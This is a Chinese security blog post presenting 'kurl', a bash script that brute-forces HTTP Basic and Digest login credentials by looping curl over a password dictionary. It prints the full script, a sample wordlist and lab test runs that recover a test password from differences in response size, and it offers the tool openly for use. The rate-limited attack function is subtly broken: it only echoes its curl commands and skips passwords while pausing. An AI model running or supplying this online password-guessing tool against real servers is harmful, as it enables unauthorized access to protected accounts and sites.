作者:閦蠱
0x00:背景
HTTP认证(HTTP-Authentication,后文统称http-auth)是一种标准化的HTTP安全加固方法(RFC 7235等),虽然不怎么常用,因为WEB服务器的页面通常情况下都采用匿名认证方式,即允许所有人访问(如果服务器或者防火墙没有进行IP限制)。与其他基于密码的身份认证方式一样(如果未引入其它认证因子),http-auth同样存在无法核实用户是否为真实可信的用户。虽然http-auth技术并不常用,但在我们后期的研究工作中会频繁涉及(研究正在进行中,不便透露具体应用场景),加之我们希望能在低功耗、多元化OS的场景下实施http-auth攻击,因此我们希望寻求一种折中的方案——既便于在多平台下使用,又能大幅减少功耗,毕竟在手机,平板电脑上面电池续航是一个很大的问题。正是基于上述原因,我们尝试着用shell脚本写了“閦蠱”项目(vmOS)上的第一个hacking APP——kurl, kill http-auth via curl。
0x01:验证
Curl是一个*nix平台下非常容易获取和安装的工具,可以满足对CLI重度依赖的用户实现必要的HTTP访问请求。Curl提供了对常见http-auth的支持,包括basic,digest,ntlm,negotiate等。但是,我们后期研究工作中大概率涉及到的是basic和digest这两种认证,因此我们在kurl的demo中只实现了对这两种认证的支持。
通过在Windows Srv 2012 R2和CentOS上配置http-auth后,我们通过curl命令获取想要的页面,比如http://192.168.*.*/testme.html。 同时,我们将获取到的页面保存到本地,通过先后输入正确和错误的密码,我们得到了两个不同大小的页面,并且分析其中内容后,我们确认:
——在输入正确的用户名和密码后,我们可以获得登录成功后的目标页面;
——在输入错误的用户名或者密码后,我们得到的页面包括http状态代码401的页面
——通过大小比对以及返回状态码,我们完全可以轻易区分登录成功和失败的页面。其实,burpsuite也是采用的这种方法,不过它具有更强的通用性和便捷的UI。
再者,我们可以看到错误页面中存在http状态代码401,大多数情况下都会有这个status代码,这是http-auth协议中规定的。
通过上面的验证,我们确信可以通过编写一个简单的shell脚本,来实现针对basic和digest这两种http-auth的在线暴力破解工具,同时还可以根据后期可能用到的功能进行精细打磨。
0x02:kurl实现
Kurl只是一个验证性的demo,因此只是实现了最简单的功能,针对采用basic和digest两种方式验证用户身份的http-auth进行在线暴力破解。考虑到我们自己在后期项目中可能存在的需求,我们引入了最大猜解次数和休眠间隔,尽可能把人工干预降至最低。
考虑到每次读取和保存的html页面体积较小,因此没有做一个专门的kurl_check_passwd函数。使用者只需要通过cat命令,diff命令以及ls命令进行简单的判断,即可知晓哪一个可能是真实的登录密码。如前文所述,登录成功和失败两种情况通常只会对应两个不同大小以及http status代码(如果服务端返回http status代码)的页面。kurl工具Demo完整代码如下:
kurl —— https://github.com/virusmore/virusmore/tree/main/Hacking%20APP/kurl
#!/bin/bash
#
# APP: kurl -- kill http-auth via curl
#
# Auther: 閦蠱(virusmore)
#
# Param:
# $1 -- http-auth type, basic, digest or anyauth. However, anyauth is NOT suggested by curl official.
# $2 -- url to attack
# $3 -- username
# $4 -- path of the dictionary full of passwd
# $5 -- num of max tries in integers
# $6 -- time interval to sleep in seconds
#
# Change Log:
#
# Default time interval of 180 seconds
KURL_DEFAULT_TIME_INTERVAL=180
#
# Pure attack without considering max tries or time interval
#
function kurl_attack () {
index=0
cat $4 | while read line
do
# Delete all chars that may lead to mistakes
passwd=`echo $line | tr -d "\n"`
echo [+]curl --$1 -u $3:$passwd -o "kurl_"$3"_"$index".html" "$2"
curl --$1 -u $3:$passwd -o "kurl_"$3"_"$index".html" "$2"
let index++
done
}
#
# Attack with max tries of interval, 5*60 seconds
#
function kurl_attack_with_max_tries () {
try=1
index=0
time_interval=$KURL_DEFAULT_TIME_INTERVAL
# Get the time interval user input
if test $# -eq 6
then
time_interval=$6
fi
# Loop to attack from the input passwd dictionary
cat $4 | while read line
do
# Delete all chars that may lead to mistakes
passwd=`echo $line | tr -d "\n"`
# DO NOT exced the max tries
if test $try -lt $5
then
echo [+] curl --$1 -u $3:$passwd -o "kurl_"$3"_"$passwd"_"$index".html" "$2"
let try++
else
echo [!]Sleep $time_interval
#echo sleep $time_interval
let try=1
fi
let index++
done
}
# Check the http-auth type
if [[ $1 != "basic" && $1 != "digest" ]]
then
echo "[!]Plz check your input on http-auth type!"
exit 0
fi
# Check the number of params
case $# in
4)
# Invoke krul_attack to launch attack
kurl_attack $1 $2 $3 $4
;;
5)
kurl_attack_with_max_tries $1 $2 $3 $4 $5
;;
6)
kurl_attack_with_max_tries $1 $2 $3 $4 $5 $6
;;
*)
echo "[!]Plz check your input!"
exit 0
;;
esac
0x03:测试
测试环境:MacOS 11.4
用户信息:test:admin@123
字典文件:passwd.txt
123456
admin
88888888
666666
987654321
admin@123
password
12345678
iloveyour
qwerty123
!@#$%^
!@#$%^&*
qaz123
00000000
toor
root
目标页面URL及网页源代码:http://192.168.168.8/***/testme.html
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Strict//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="vmOS -- Virusmore OS">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>IIS Windows Server</title>
</head>
<body>
I AM JUST A TEST PAGEFILE…
</body>
</html>
目标环境:Windows Srv 2012 R2以及CentOS 8
——Windows Srv 2012 R2 + IIS
——CentOS 8 + Apache
——认证方式:basic,digest
1) Windows,IIS,basic认证
IIS服务器http-auth配置:
执行以下命令后,所得到的结果截屏如下图:
kurl basic “http://192.168.168.8/testme.html“ test passwd.txt
在Windows Srv 2012 R2服务器上,IIS用户验证设置为basic时,kurl会逐一用“test:密码”这样的验证信息调用curl命令,并且保存读取到的文件。从ls罗列出的信息来看,kurl_test_5.html的文件的大小明显小于其它html文件。通过查看该页面内容,的确为所需访问的目标页面,如下:
2) Windows,IIS,digest认证
如上图所示,在Windows Srv 2012 R2服务器上,IIS设置了摘要式身份认证(digest)。同样,我们在macOS上,我们设定用户名为test,在线爆破文件为passwd.txt,执行以下命令,实施在线爆破:
kurl digest “http://192.168.168.8/testme.html“ test passwd.txt
从上图中,我们可以看到与测试1中几乎一模一样的结果(文件创建时间不同)。再者,kurl_test_5.html文件对应的内容也与我们所需访问的目标页面一样。
3) CentOS,Apache,basic认证
执行如下命令:
kurl basic “http://192.168.168.8/basic/testme.html“ test passwd.txt
该测试用例下的配置及命令执行结果如下图:
从上面图中我们可以清晰的看到,kurl_test_5.html文件对应的大小与其它文件不同,其对应的密码正是test用户的密码“admin@123”。
4) CentOS,Apache,digest认证
kurl digest “http://192.168.168.8/digest/testme.html“ test passwd.txt
上述命令执行之后的结果以及该测试用例对应的配置文件如下图:
从测试结果可以明显看出,kurl已经成功获取了该测试用例下,登录成功后的页面,当然也保存了所有登录失败的页面。
0x04:总结
目前,kurl只是一个非常简单,甚至简陋的shell脚本而已,但是它体现了将复杂问题简单化的思想。同时,由于kurl自身的轻量化特性,使得我们可以将一些重型hacking tool(Burpsuite等)上的部分功能移植到仅支持CLI的安卓或iOS Linux模拟器上。再者,由于kurl自身基于shell编写,因此可以在所有*nix系统上愉快的使用,当然前提是能够安装curl。
此外,我们后期会逐步在GitHub上发布更多的原创Hacking APP,主要是针对IoT环境下的hacking,当然最重要的还是希望更多志同道合的朋友一起参与“閦蠱”项目(vmOS),打造一款适合华人安全圈的Hacking OS——vmOS。
0x05:参考
- “閦蠱”项目(virusmore). https://github.com/virusmore/virusmore/tree/main/Hacking%20APP/kurl
- curl使用手册. https://curl.se/docs/manpage.html
- RFC 7235. https://tools.ietf.org/html/rfc7235
发表评论
您还未登录,请先登录。
登录